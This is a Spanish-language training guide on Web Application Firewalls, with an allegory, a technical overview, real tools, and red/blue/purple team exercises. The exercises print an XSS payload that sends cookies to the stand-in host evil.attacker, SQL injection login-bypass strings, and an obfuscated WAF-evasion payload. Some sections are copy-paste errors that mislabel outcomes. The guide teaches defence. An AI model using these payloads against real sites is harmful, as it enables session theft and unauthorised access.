WAF - Firewall Application Web

🧱 1️⃣ EXPLICACIÓN EN PROFUNDIDAD

🔮 ALEGORÍA:

Imagina una discoteca VIP que solo permite la entrada a clientes registrados. Hay un portero especial (el WAF) en la puerta del baño privado de la discoteca: no controla a todos los que entran al local, sino que revisa quién entra al baño (la aplicación web), porque es ahí donde algunos intentan colarse con intenciones maliciosas.

Este portero:

• Escanea lo que la gente dice (las solicitudes HTTP).

• Tiene una lista de frases peligrosas como "voy a rayar las paredes" (inyecciones SQL, XSS, etc.).

• Si alguien intenta usar una de esas frases, bloquea el acceso y avisa al equipo de seguridad.

Así funciona un WAF: no protege todo el edificio (como un firewall de red), sino esa parte sensible donde los atacantes intentan colarse con trucos lingüísticos.

🧠 EXPLICACIÓN TÉCNICA:

Un WAF (Web Application Firewall) es una solución de seguridad especializada en aplicaciones web, cuyo propósito es interceptar, analizar y filtrar el tráfico HTTP/HTTPS con el fin de detectar y bloquear ataques específicos a la capa de aplicación, como:

• Inyecciones SQL

• Cross-Site Scripting (XSS)

• Cross-Site Request Forgery (CSRF)

• Path Traversal

• Ataques de denegación de servicio (DoS) dirigidos a la lógica de la aplicación

El WAF opera típicamente en modo reverse proxy, es decir, recibe el tráfico antes de que llegue a la aplicación real, inspeccionando cada petición y validando su legitimidad antes de reenviarla.

Los WAF pueden:

• Bloquear tráfico en tiempo real

• Alertar o registrar intentos maliciosos

• Adaptarse mediante reglas personalizadas, firmas, heurísticas, aprendizaje automático o listas blancas/negra.

También pueden funcionar en modo activo (bloqueo) o modo pasivo (solo alerta) según la configuración.

🛠️ 2️⃣ EJEMPLOS PRÁCTICOS

• Una empresa e-commerce instala un WAF para proteger su portal de compras. Detecta y bloquea un intento de inyección SQL en el campo de búsqueda.

• Un atacante lanza un XSS persistente para robar cookies de administrador en un blog WordPress. El WAF intercepta el script malicioso gracias a sus firmas predefinidas.

• Una fintech configura un WAF en modo aprendizaje, permitiéndole generar un modelo de comportamiento normal de la app durante 7 días antes de aplicar reglas de bloqueo.

🛒 Ejemplo 1: E-commerce bajo ataque de SQL Injection

Una tienda online de productos electrónicos observa que los datos de usuarios comienzan a filtrarse misteriosamente. Un atacante está usando inyecciones SQL en el campo de búsqueda para acceder a la base de datos.

🔐 El equipo instala ModSecurity con las reglas de OWASP CRS y bloquea las cadenas sospechosas (' OR 1=1 --). Las reglas detectan los intentos y evitan que el payload llegue a la aplicación. Se activan alertas automáticas y se recopilan datos para análisis forense.

🏦 Ejemplo 2: Portal bancario bajo Cross-Site Scripting

Un cliente de banca online se queja de que, al iniciar sesión, aparece un mensaje emergente extraño. Un atacante ha conseguido inyectar un script malicioso persistente en el campo de comentarios.

🧠 El WAF detecta los patrones <script> y sus variantes encodeadas, aplicando reglas que bloquean la solicitud y registran el incidente. El equipo blue refuerza los filtros y ajusta el WAF para sanitizar contenido más profundamente.

🌐 Ejemplo 3: Servicio SaaS que implementa WAF en fase de desarrollo

Una startup que ofrece una aplicación web de gestión de equipos quiere prepararse antes de su lanzamiento público. El equipo de DevSecOps configura un WAF en modo de aprendizaje durante 15 días, recolectando patrones de uso legítimo para luego generar reglas personalizadas de bloqueo.

✅ Resultado: el WAF aprende qué tipo de tráfico es habitual en la app y empieza a bloquear lo que no coincide sin causar falsos positivos. Se evita así romper la app en producción por una configuración apresurada.

🎯 Claves que se repiten en todos los casos:

• Visibilidad + Protección: los WAF permiten ver y controlar ataques que los firewalls tradicionales no detectan.

• Adaptabilidad: reglas personalizadas permiten afinar la protección para cada tipo de aplicación.

• Prevención antes que reacción: configuran una barrera inteligente entre el atacante y la lógica interna de la aplicación.

🧰 3️⃣ APLICACIONES Y HERRAMIENTAS REALES

🔹 WAFs Open Source y Comerciales

• ModSecurity (Open Source, muy usado con Apache, NGINX, IIS)

• AWS WAF (integrado con servicios de Amazon)

• Cloudflare WAF (modelo SaaS con integración CDN)

• F5 BIG-IP ASM

• Imperva WAF

• FortiWeb (de Fortinet)

• Azure Web Application Firewall

• Barracuda WAF

🔹 Frameworks de reglas comunes

• OWASP Core Rule Set (CRS) para ModSecurity

• Reglas personalizadas o reglas comerciales (Trustwave, Atomicorp…)

🛡️ 4️⃣ ¿QUÉ HACE CADA EQUIPO?

🔴 Red Team – Explotación de WAF

• Detecto si hay WAF mediante fingerprinting (técnicas como WAFW00F).

• Intento evadir las reglas con técnicas de bypass (encoding, fragmentación, cambio de payload).

• Uso ataques de día cero o lógica de negocio no protegida por reglas genéricas.

🔵 Blue Team – Defensa con WAF

• Configuro el WAF con reglas específicas para mi aplicación (no solo genéricas).

• Uso modo de aprendizaje antes de activar el bloqueo.

• Integro el WAF con el SIEM para alertas y correlación de eventos.

• Reviso los logs del WAF para afinar reglas y reducir falsos positivos.

🟣 Purple Team – Validación y ajuste

• Organizo test de bypasses reales junto al Red Team.

• Analizo métricas de efectividad del WAF: ratio de bloqueos correctos vs. falsos positivos.

• Proponemos reglas personalizadas basadas en tráfico real, ataques vistos en Threat Intel o pruebas internas.

• Automatizo pruebas regulares para validar que el WAF sigue protegiendo con efectividad tras cambios en la app.

6️⃣ ✅ RESUMEN PRÁCTICO

• Un WAF protege aplicaciones web frente a ataques como inyecciones SQL o XSS.

• Actúa en la capa 7 (HTTP/HTTPS) analizando las solicitudes y bloqueando código malicioso.

• Puede trabajar como dispositivo de red o software embebido (por ejemplo en Apache o IIS).

• Es un complemento, no un reemplazo de los firewalls de red ni de los IDS/IPS.

• El WAF forma parte esencial de la arquitectura de seguridad defensiva, especialmente para apps críticas.

🧩 EJERCICIOS PURPLE TEAM

A continuación verás tres escenarios clasificados por nivel de dificultad (Avanzado, Experto, Maestro). Cada uno incluye las acciones esperadas desde la perspectiva del:

• 🔴 Red Team (ataque)

• 🔵 Blue Team (defensa)

• 🟣 Purple Team (gestión y coordinación)

🎯 Ejemplo 1 – Ataque XSS Persistente en Comentarios – Nivel Avanzado

🔴 Red Team ataca:

Lanza un ataque XSS persistente en una sección de comentarios de una web vulnerable. El payload es:

<script>new Image().src="https://evil.attacker/exfiltrate?cookie="+document.cookie;</script>

Se inyecta y queda almacenado para futuros usuarios que abran la página.

🧾 ¿QUÉ SE LOGRA?

•  Inyecta un payload XSS persistente en una sección de comentarios vulnerable con el objetivo de robar cookies de usuarios que visiten esa página.

🔵 Blue Team defiende:

• Configura el WAF con reglas OWASP CRS para detectar cadenas sospechosas (tags <script>, onerror=, src=, etc).

• Habilita el modo blocking y activa registros con alertas automáticas.

• Revisa los logs y reporta al SOC los intentos de XSS.

🧾 ¿QUÉ SE LOGRA?

• Activa reglas OWASP CRS en el WAF.

• Configura bloqueo automático y monitorización.

• Notifica al SOC y documenta el incidente.

🟣 Purple Team gestiona:

• Supervisa la efectividad del WAF (tasa de falsos positivos vs. bloqueos reales).

• Coordina con desarrollo para implementar escapado de entradas y sanitización del lado del servidor.

• Organiza una validación cruzada entre Dev y Blue para cerrar este vector definitivamente.

🧾 ¿QUÉ SE LOGRA?

• Verifica la eficacia del WAF.
• Coordina con desarrollo para implementar sanitización.
• Supervisa registros y reduce falsos positivos.

OBJETIVO

Se identifica un vector común de XSS y se implementa una defensa robusta que combina WAF, desarrollo seguro y visibilidad operativa. Se refuerza el ciclo de feedback Purple para prevenir futuras exposiciones.

🎯 Ejemplo 2 – Inyección SQL en campo de inicio de sesión – Nivel Experto

🔴 Red Team ataca:

Realiza una prueba con:

' OR '1'='1 --

en el campo de usuario. El objetivo: bypassear el login e ingresar a la plataforma sin credenciales válidas.

🧾 ¿QUÉ SE LOGRA?

• Activa reglas OWASP CRS en el WAF.
• Configura bloqueo automático y monitorización
• Notifica al SOC y documenta el incidente.

🔵 Blue Team defiende:

• El WAF detecta la cadena basada en firmas preconfiguradas y bloquea la solicitud.

• Analiza los logs y lanza una investigación interna para validar que la app aún permite consultas inseguras.

🧾 ¿QUÉ SE LOGRA?

• Verifica la eficacia del WAF.
• Coordina con desarrollo para implementar sanitización.
• Supervisa registros y reduce falsos positivos.

🟣 Purple Team gestiona:

• Ajusta las reglas del WAF para cubrir variantes (', ", UNION, SELECT, etc).

• Coordina con desarrollo la implementación de consultas parametrizadas.
• Asegura visibilidad cruzada mediante paneles compartidos (SIEM, WAF logs y alertas del IDS).

🧾 ¿QUÉ SE LOGRA?

• Refuerza las reglas del WAF contra variantes.
• Coordina con desarrollo el uso de consultas preparadas.
• Valida desde preproducción que no hay bypass funcional.

OBJETIVO

Se identifica un vector común de XSS y se implementa una defensa robusta que combina WAF, desarrollo seguro y visibilidad operativa. Se refuerza el ciclo de feedback Purple para prevenir futuras exposiciones.

🎯 Ejemplo 3 – Ataque complejo de bypass al WAF usando encoding y JSON – Nivel Maestro

🔴 Red Team ataca:

Intenta evadir el WAF usando un payload obfuscado y en formato JSON, aprovechando la falta de inspección profunda del WAF:

{ "input": "<scr\0ipt>alert(1)</scr\0ipt>" }

Además, prueba variantes con encoding UTF-7, hexadecimal y doble codificación para escapar las reglas simples.

🧾 ¿QUÉ SE LOGRA?

Intenta evadir el WAF usando técnicas de codificación (\0, UTF-7, JSON malformado) para evadir detección e inyectar código XSS.

🔵 Blue Team defiende:

• Implementa reglas personalizadas con inspección profunda (Deep Packet Inspection).

• Configura el WAF para analizar cuerpos de solicitudes y detectar codificaciones inusuales.

• Utiliza ModSecurity o AWS WAF con patrones avanzados de expresión regular.

🧾 ¿QUÉ SE LOGRA?

• Habilita inspección profunda y decodificación en tiempo real.

• Rechaza cuerpos anómalos y activa análisis de comportamiento.

🟣 Purple Team gestiona:

• Simula estos escenarios en preproducción para evaluar la eficacia del WAF.

• Documenta los vectores de evasión conocidos y actualiza los perfiles de reglas.

• Reentrena a Blue y Dev con estos findings para fortalecer defensas futuras y asegurar redundancia entre capas.

🧾 ¿QUÉ SE LOGRA?

• Reproduce el ataque en laboratorio para testear las reglas del WAF.

• Ajusta políticas según resultados.
• Capacita a Blue y Dev con los hallazgos.

OBJETIVO

Se cierra un bypass avanzado gracias a una arquitectura de defensa adaptativa. Se refuerzan las reglas del WAF y se eleva el conocimiento interno del equipo ante ataques de evasión sofisticados.